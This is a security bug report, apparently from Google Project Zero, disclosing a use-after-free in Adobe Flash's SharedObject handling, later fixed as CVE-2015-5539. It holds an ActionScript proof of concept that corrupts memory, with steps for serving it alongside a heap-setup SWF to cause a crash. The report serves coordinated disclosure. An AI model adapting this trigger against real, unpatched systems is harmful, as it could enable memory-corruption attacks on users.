New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Aug 2015
Cc:



Sign in to add a comment
Adobe Flash: Use-after-free when setting value
Project Member Reported by natashenka@google.com, May 1 2015 Back to list
In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other 

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
var n = new NetConnection();

s.data.uri = q;
trace("uri " + s.data.uri);
s.flush();
ASnative(2100, 200)(s.data);

trace("uri " + s.data.uri);
n.connect.call(s.data, xx);
trace(s.data.uri);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){
	
	var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){
	
	ASnative(252, 1).call(q); //Array push
	
	}

A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
slot.fla
4.9 KB Download
loadswf.as
1.9 KB Download
loadswf.swf
1.5 KB Download
slot.swf
1006 bytes Download
Project Member Comment 1 by natashenka@google.com, May 4 2015
Labels: -Reported-2015-May-1 Reported-2015-May-4
Project Member Comment 2 by natashenka@google.com, May 5 2015
This is PSIRT-3652
Project Member Comment 3 by natashenka@google.com, Aug 11 2015
Labels: CVE-2015-5539 Id-3652 Deadline-Grace Deadline-Exceeded
Status: Fixed
Project Member Comment 4 by natashenka@google.com, Aug 18 2015
Labels: -Restrict-View-Commit
Fixed in https://helpx.adobe.com/security/products/flash-player/apsb15-19.html
Sign in to add a comment